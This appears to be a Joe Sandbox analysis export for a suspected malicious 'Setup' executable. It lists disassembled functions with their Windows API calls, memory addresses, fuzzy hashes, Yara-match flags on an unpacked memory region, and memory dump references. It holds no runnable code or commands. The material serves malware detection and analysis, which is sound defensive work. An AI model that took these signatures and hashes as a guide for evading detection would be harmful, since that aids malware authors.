Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: !I/K$+E-G$23,$7U0W$hi$vMnO
API String ID: 0-280941541
Opcode ID: b310955efd1bbe41752e6671e77fd99e906004300efec5c75b3d6a38c503ff1e
Instruction ID: e75c6f97ad7af06f3c069fc04be4dfd11daaea78a6dcff07ce4170832fa079b3
Opcode Fuzzy Hash: b310955efd1bbe41752e6671e77fd99e906004300efec5c75b3d6a38c503ff1e
Instruction Fuzzy Hash: 7F410F742093519BD718DF28C86177BB7E2FF8A304F08996CE4C69B2D1E7748901CB9A

Function 004667C0 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,0046697D), ref: 004667F1
FindFirstFileA.KERNEL32(00000000,?,00000000,00466950,?,00000001,00000000,0046697D), ref: 00466880
FindNextFileA.KERNEL32(000000FF,?,00000000,00466932,?,00000000,?,00000000,00466950,?,00000001,00000000,0046697D), ref: 00466912
FindClose.KERNEL32(000000FF,00466939,00466932,?,00000000,?,00000000,00466950,?,00000001,00000000,0046697D), ref: 0046692C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: db9e3fd7454548f2fd0878c4535662745e3d50fb50d6bdccf1aabca65a7e0b50
Instruction ID: 05d85ece92390255a3327e4458b56a490f0450183dd05b02cc1c6066098a89c7
Opcode Fuzzy Hash: db9e3fd7454548f2fd0878c4535662745e3d50fb50d6bdccf1aabca65a7e0b50
Instruction Fuzzy Hash: 78417574A006189FCB11EF65CC45ADDB7B8EB88705F4144BAF804A7341E63C9E498E59

Function 00466C3C Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00466E23), ref: 00466CB1
FindFirstFileA.KERNEL32(00000000,?,00000000,00466DEE,?,00000001,00000000,00466E23), ref: 00466CF7
FindNextFileA.KERNEL32(000000FF,?,00000000,00466DD0,?,00000000,?,00000000,00466DEE,?,00000001,00000000,00466E23), ref: 00466DAC
FindClose.KERNEL32(000000FF,00466DD7,00466DD0,?,00000000,?,00000000,00466DEE,?,00000001,00000000,00466E23), ref: 00466DCA

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 9d2abfff3683db8bc317c0ba710b01272725edb7d4b411062b1cdf1a1664d18b
Instruction ID: c2ddf12e0ac3f20604c0a2ad0c8178c9460124727f48ae6bb632f9170c6fa497
Opcode Fuzzy Hash: 9d2abfff3683db8bc317c0ba710b01272725edb7d4b411062b1cdf1a1664d18b
Instruction Fuzzy Hash: F0418434B00618DFCB11EFA5CC85ADEB7B9EF88305F4145AAE804A7341EB389E458F59

Function 0042E644 Relevance: 7.6, APIs: 5, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00455B0B,00000000,00455B2C), ref: 0042E666
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E691
GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00455B0B,00000000,00455B2C), ref: 0042E69E
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00455B0B,00000000,00455B2C), ref: 0042E6A6
SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00455B0B,00000000,00455B2C), ref: 0042E6AC

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 1177325624-0
Opcode ID: ce6d4b7854131d2fbf1805633828604ceb0fb0058dd88755ce3f637b41504d83
Instruction ID: 2240a14e04839cc413d044f9863b6a7ad2760c907887560f11d8e9355d89528c
Opcode Fuzzy Hash: ce6d4b7854131d2fbf1805633828604ceb0fb0058dd88755ce3f637b41504d83
Instruction Fuzzy Hash: 36F0907138162479F52161BA6CC6FAF028CC789B68F54463AB704FF1C1D6A85D06196D

Function 0315C01A Relevance: 6.4, Strings: 5, Instructions: 189COMMON

Download Yara Rule

Strings

_, xrefs: 0315C106
8@(F, xrefs: 0315C06F
(HyN, xrefs: 0315C039
cPQV, xrefs: 0315C049
5D"J, xrefs: 0315C031

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: (HyN$5D"J$8@(F$_$cPQV
API String ID: 0-882278378
Opcode ID: 1da3d1bc773617987d346d6c30645742576db1c4423b3220aa4f462191f88acd
Instruction ID: fb9a9a3d95bdd042db85a2ef6781fab0bad68dd60fef382ce55b9e25917f71e5
Opcode Fuzzy Hash: 1da3d1bc773617987d346d6c30645742576db1c4423b3220aa4f462191f88acd
Instruction Fuzzy Hash: 4161C8192046914ADB2CDF7488A333BBAE5DF49308F1991BFD955CF697E638C1038789

Function 00459DE0 Relevance: 6.2, APIs: 4, Instructions: 241windownativeCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00459E5D
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00459E84
SetForegroundWindow.USER32(?), ref: 00459E95
NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,0045A16D,?,00000000,0045A1A9), ref: 0045A158

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID:
API String ID: 2236967946-0
Opcode ID: 86cdbc000c1ec2e1649926c8f13c7cbcd1ac8d0ce4e0c17a804f3f2eb8201304
Instruction ID: e0247b6201623fbe420fa677e694cfef93c6c3cb2a1dce97343deb336671355d
Opcode Fuzzy Hash: 86cdbc000c1ec2e1649926c8f13c7cbcd1ac8d0ce4e0c17a804f3f2eb8201304
Instruction Fuzzy Hash: D591DD34604604EFD715CF54D991F6ABBF9EB89700F2480BAEC04D77A2C638AE18CB59

Function 004850B0 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(00010426), ref: 004850EE
GetWindowLongA.USER32(00000000,000000F0), ref: 0048510C
ShowWindow.USER32(00000000,00000005,00000000,000000F0,0049F09C,004847FA,0048482E,00000000,0048484E,?,?,00000001,0049F09C), ref: 0048512E
ShowWindow.USER32(00000000,00000000,00000000,000000F0,0049F09C,004847FA,0048482E,00000000,0048484E,?,?,00000001,0049F09C), ref: 00485142

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: 11a233350ea0346561bb92178b0b567ef762ac253540ae32b8e447ec32205a9f
Instruction ID: d57965964029f06fae53bc5a3d1d5e04e0d65a4c437a2546512c1e068e360053
Opcode Fuzzy Hash: 11a233350ea0346561bb92178b0b567ef762ac253540ae32b8e447ec32205a9f
Instruction Fuzzy Hash: FD017170A046419AD700FB39DC49F9B239A5B15308F14887BB944DBAE3DA6D8C89CF1C

Function 00430CF4 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 503COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00000000,?,0045A25F,00000000,0049E624), ref: 00431274

Strings

yKR, xrefs: 0043139E
[D&, xrefs: 00431017

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: HandleModule
String ID: yKR$[D&
API String ID: 4139908857-629988530
Opcode ID: 3670030ac23a08d602076f1162b9b116fe1e1029b2b03bdbf20e5a3bd165f841
Instruction ID: 38dcdef96d23ed2c368b929998e73966798f27cce6ae4f96858f968792c825a4
Opcode Fuzzy Hash: 3670030ac23a08d602076f1162b9b116fe1e1029b2b03bdbf20e5a3bd165f841
Instruction Fuzzy Hash: 90022676D113108FC748EFBAEC9616A3362FBF0319786923FD44297566DF3854428A8E

Function 0317D30A Relevance: 5.2, Strings: 4, Instructions: 181COMMON

Download Yara Rule

Strings

~, xrefs: 0317D319
q, xrefs: 0317D328
p, xrefs: 0317D323
w, xrefs: 0317D31E

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: p$q$w$~
API String ID: 0-288389675
Opcode ID: 3b17056d8639c93b38da40a1c643562b3178611b3fba86b9dd93ab59915d9d38
Instruction ID: 067dccae48bc8d0ed5698f1362b657f3e86e61c4fe65aa12a8084734a3847f19
Opcode Fuzzy Hash: 3b17056d8639c93b38da40a1c643562b3178611b3fba86b9dd93ab59915d9d38
Instruction Fuzzy Hash: 1561387670C3058BD318CB28E45132ABBF2EFC9354F1D862DE1AA877D1D77898818B46

Function 00448314 Relevance: 4.7, APIs: 3, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,004484F1), ref: 00448434
GetProcAddress.KERNEL32(00000000,00000000), ref: 004484B5

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: da68de01dc150765e6fface1b25165d11001f19d3fbb5b7a13a60a0a22deba68
Instruction ID: 8e689ad40fe41c385378bb1cd993678c94ffaa4c3d83338088af8c434f66ecb7
Opcode Fuzzy Hash: da68de01dc150765e6fface1b25165d11001f19d3fbb5b7a13a60a0a22deba68
Instruction Fuzzy Hash: 80513570A001199FDB00EF95C481AAEBBF9EB45314F10817FE914BB392DB789E45CB99

Function 00465248 Relevance: 4.6, APIs: 3, Instructions: 67fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0046531C), ref: 004652A0
FindNextFileA.KERNEL32(000000FF,?,00000000,004652FC,?,00000000,?,00000000,0046531C), ref: 004652DC
FindClose.KERNEL32(000000FF,00465303,004652FC,?,00000000,?,00000000,0046531C), ref: 004652F6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 46e20e300bb5df134cc615146fa1a5f5025e5ca7ed5d6d474d7df3162ac037d0
Instruction ID: 0a48aa245af897237958aa5ee1e3137d9f85165e557ab8de8275323266628b6f
Opcode Fuzzy Hash: 46e20e300bb5df134cc615146fa1a5f5025e5ca7ed5d6d474d7df3162ac037d0
Instruction Fuzzy Hash: 4221A530904B08AEDB11DB65CC51BDEBBBCDB49704F5044F7E808E3691E6789E85CE59

Function 004240E8 Relevance: 4.5, APIs: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(00010426), ref: 004240F0
SetActiveWindow.USER32(00010426,?,?,0046F1AB), ref: 004240FD

Part of subcall function 00423558: ShowWindow.USER32(00410660,00000009,?,00000000,0041ED24,00423846,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B18), ref: 00423573

Part of subcall function 00423A20: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,021925A4,00424116,00010426,?,?,0046F1AB), ref: 00423A5B

SetFocus.USER32(00000000,00010426,?,?,0046F1AB), ref: 0042412A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: d427b8125ea10a39af256aa5ad540f53eb50e187890d8620decee81e6e5f0368
Instruction ID: f671d2a765188c92879fd9b9fe60ec5b95d9fc31540c70aaa6925625ca3b2b75
Opcode Fuzzy Hash: d427b8125ea10a39af256aa5ad540f53eb50e187890d8620decee81e6e5f0368
Instruction Fuzzy Hash: 11F0D0617001209BDB00EFAAD885A9633A8AF48315F55407BBD45DF357CA7DDC508764

Function 031642EA Relevance: 4.3, Strings: 3, Instructions: 509COMMON

Download Yara Rule

Strings

t$, xrefs: 03164770
-, xrefs: 031644DF
1>?<, xrefs: 03164422

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: 1>?<$t$$-
API String ID: 0-1214471300
Opcode ID: eaf7fef8290ca267fd93b6873740f89e17e051e220a84919e0a7861d9221380e
Instruction ID: c5222de60e646227ad6d80f1963bbcc4faaacf73cca91f9ce6ce50124222710b
Opcode Fuzzy Hash: eaf7fef8290ca267fd93b6873740f89e17e051e220a84919e0a7861d9221380e
Instruction Fuzzy Hash: D2E1D1B16093408BD718CF69C891A6BBBE5EFC9314F19891CF5858B390EB78D815CB52

Function 0315E152 Relevance: 4.1, Strings: 3, Instructions: 392COMMON

Download Yara Rule

Strings

I"M , xrefs: 0315E1C9
^2^0, xrefs: 0315E1AD
!., xrefs: 0315E1D0

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: !.$I"M $^2^0
API String ID: 0-3146913702
Opcode ID: 8ea121c802999dbd66e6baa778c838c71ddd33164dc1e7cefb047b327b046430
Instruction ID: de8a3b6e767fb769cbd34679f13bddc6efee01235902932e22031aa675e9ef9f
Opcode Fuzzy Hash: 8ea121c802999dbd66e6baa778c838c71ddd33164dc1e7cefb047b327b046430
Instruction Fuzzy Hash: 73C11772E00615CBCB14CFA8C8517EEB7B2EF94324F1D8269E855AF394E7789906C790

Function 004310AC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00000000,?,0045A25F,00000000,0049E624), ref: 00431274

Strings

yKR, xrefs: 0043139E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: HandleModule
String ID: yKR
API String ID: 4139908857-847850715
Opcode ID: 4e7937320f01468fd962838c43249d20fba78ca8b41f6df2c7055fed6ef01218
Instruction ID: 00d095c97ed83893d7192f1ebe965b404f3572f704689ed94ce2e5794a29fc62
Opcode Fuzzy Hash: 4e7937320f01468fd962838c43249d20fba78ca8b41f6df2c7055fed6ef01218
Instruction Fuzzy Hash: 8F910376D153108FC748EFBAEC8A16A3362FBF0319341923FE54297566CF3855428A8E

Function 00431104 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00000000,?,0045A25F,00000000,0049E624), ref: 00431274

Strings

yKR, xrefs: 0043139E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: HandleModule
String ID: yKR
API String ID: 4139908857-847850715
Opcode ID: 7bf5e2c1b9474b58c1a61da2868793cdb93cf9b1e1d21ced344daa0ae8cb766b
Instruction ID: b8c5f42afaf1b3b4621a65a474eac79c0924a3c9baf5adf5d84ad111fd4b0d75
Opcode Fuzzy Hash: 7bf5e2c1b9474b58c1a61da2868793cdb93cf9b1e1d21ced344daa0ae8cb766b
Instruction Fuzzy Hash: 09810476D143108FC748EFBAEC8A16A7362FBF1319341913FE54297566CF3815428A8E

Function 031466CA Relevance: 3.3, Strings: 2, Instructions: 792COMMON

Download Yara Rule

Strings

0, xrefs: 03146FE5
8, xrefs: 03146FDD

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: a82b5f3ada2a7d392e0b3c0ff4f8feadec9af6f2b2e591a9e3dd2812017c203a
Instruction ID: 91aaec05703c2644b5842b5062163c60d0ae7186a69c1524e18dfee9b5b5a59c
Opcode Fuzzy Hash: a82b5f3ada2a7d392e0b3c0ff4f8feadec9af6f2b2e591a9e3dd2812017c203a
Instruction Fuzzy Hash: 8D7257716083409FD714CF18C890BABBBE1BF89318F08896DF9999B391D375D958CB92

Function 0040AFD8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040AFF2
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B14F,00000000,0040B167,?,?,?,00000000), ref: 0040B003

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: adaf18f3fad637d473901d8a7a34d22a961aa5e7635de3bc45598743391eb7b1
Instruction ID: dbd5f34f569deb6ae24ff4b9a98e1491e71595893d6e8eed867b484f02bc871c
Opcode Fuzzy Hash: adaf18f3fad637d473901d8a7a34d22a961aa5e7635de3bc45598743391eb7b1
Instruction Fuzzy Hash: 7301A771300700AFD711FF6ADC52E1B77ADDB86714711C076F500AB6D1DA799C00966D

Function 00417C5A Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417C9B
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417CB9
GetWindowPlacement.USER32(?,0000002C), ref: 00417CEF
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D16

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: 892b315892327e2d1cef53f2b547624324b5a6eac1b3a17b7a0166260bebcd10
Instruction ID: b300dff0831b6c100129ee5b1e27334dccd313116696359198edc09f9528b515
Opcode Fuzzy Hash: 892b315892327e2d1cef53f2b547624324b5a6eac1b3a17b7a0166260bebcd10
Instruction Fuzzy Hash: E5014F71204114ABDB10EE5ADCC1EEB77A8AB45364F154567FD08DF346D639EC8087E8

Function 0045562C Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0045568F,?,?,-00000001,00000000), ref: 00455669
GetLastError.KERNEL32(00000000,?,00000000,0045568F,?,?,-00000001,00000000), ref: 00455671

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 5be00d89c6c22c056ada06270cb62d87f9fafa57775968f1ad772404c1c91052
Instruction ID: 246098bc1a637397a1274aa3b9b8e175743ac508a2bc54ea804a602aca57de7d
Opcode Fuzzy Hash: 5be00d89c6c22c056ada06270cb62d87f9fafa57775968f1ad772404c1c91052
Instruction Fuzzy Hash: 36F0F931A04B04AB8B10DBA69C514AEF7ACEB4532579146BBFC18D3282DA795E048559

Function 00417534 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0041755F
GetCapture.USER32 ref: 00417568

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: 14dcb2fbc6396cad7d6b103478205be507cd2c744bf8a1df5e1b5baa38ef2472
Instruction ID: 4185851f14cbf48c9a6ba0b78a6f75b35eafe0dee8b49f4d79ef2f5bf1afe774
Opcode Fuzzy Hash: 14dcb2fbc6396cad7d6b103478205be507cd2c744bf8a1df5e1b5baa38ef2472
Instruction Fuzzy Hash: 93F0817230460167EB209B2EC8C4BAB63F69F88344B54443BF409C7B53DA7CDC818658

Function 00470494 Relevance: 3.0, APIs: 2, Instructions: 28comCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,0047052A), ref: 0047049E
CoCreateInstance.OLE32(0049CBE4,00000000,00000001,0049CBF4,?,?,0047052A), ref: 004704BA

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateInstanceVersion
String ID:
API String ID: 1462612201-0
